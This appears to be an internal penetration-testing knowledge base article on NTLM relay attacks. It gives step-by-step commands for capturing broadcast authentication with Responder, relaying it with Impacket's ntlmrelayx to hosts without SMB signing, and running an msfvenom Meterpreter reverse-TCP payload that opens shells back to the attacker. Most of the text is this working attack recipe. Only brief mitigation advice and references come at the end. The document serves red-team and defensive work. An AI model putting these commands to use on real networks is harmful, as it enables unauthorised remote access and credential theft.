**NTLM Relay attacks v2: Gaining Instant Shells**

How does it work?

When broadcast traffic such as LLMNR/NBT-NS/WPAD is active on an internal network, it is possible to take hashes captured by responder and relay them directly to other machines; it’s sort of a combination of MitM and pass-the-hash. The end result is potentially authenticated access without even having to crack any passwords. This document covers using NTLM relay in order to gain a shell; it requires a little more setup than version 1 which just dumps local SAM hashes.

**Note:** this attack requires SMB signing to be disabled on the target of the relay. This i

How do I use it?

1. Determine whether any hosts have SMB signing disabled; this can be done through Nessus, or by running nmap –script smb-security-mode.nse.
2. Save the IPs of targets with signing disabled to a file.
3. Configure Responder not to listen to SMB and HTTP by editing /usr/share/responder/Responder.conf.
4. Install the latest version of Impacket:
   1. pip install ldap3 dnspython
   2. pip install ldapdomaindump
   3. git clone <https://github.com/CoreSecurity/impacket.git>
   4. cd (impacket directory) && python setup.py install
5. Run the following command to generate shellcode\*: msfvenom –f psh-cmd –p windows/x64/meterpreter/reverse\_tcp LHOST=(your internal IP) lport=(your favorite port number)

\*Note: the generated shellcode will be VERY long, this is expected.

1. Start a Metasploit multi handler using the lhost info you put into your shellcode. For multiple shells, set “exitOnSession” to “false”, and use “run –j” to background the handler on launch.
2. In another terminal/tab, run the following: responder –F –I eth0
3. In another terminal/tab, run the following: ntlmrelayx –of (name of save file here) –tf (target file from step 2) –c “(copy shellcode from step 5 between these quotes)”
4. Shells should start showing up now. Keep an eye on the process, you may not need hundreds of shells to reach your goal.

A few Notes:

* This attack is NOT a replacement for password cracking. Captured hashes will still be saved, but they’ll go to wherever you specify in step 8 WITHOUT identifying which protocol was used to capture them.
* Any command can be used after the –c flag; if Meterpreter isn’t returning shells, try a more simple/better concealed payload, or just dump SAM files using the steps in the NTLM Relay Version 1 KB listed here:

[\\clt-fs01\nio\MASS\05. Knowledge Base Articles\NTLM Relay attacks v1 R0.01.docx](file:///\\clt-fs01\nio\MASS\05.%20Knowledge%20Base%20Articles\NTLM%20Relay%20attacks%20v1%20R0.01.docx).

If you don’t want to use Metasploit, you can use any other suite such as Empire/DeathStar.

* There’s even more to learn about NTLM relaying; it’s possible in theory to use this attack against MSSQL, LDAP, and IMAP as well.
* You don’t HAVE to use multi handler

Mitigation

1. Mitigate LLMNR/NBT-NS/WPAD weaknesses.
2. Enable SMB signing on all devices that use SMB.

References

<https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html>

<https://www.fox-it.com/en/insights/blogs/blog/inside-windows-network/>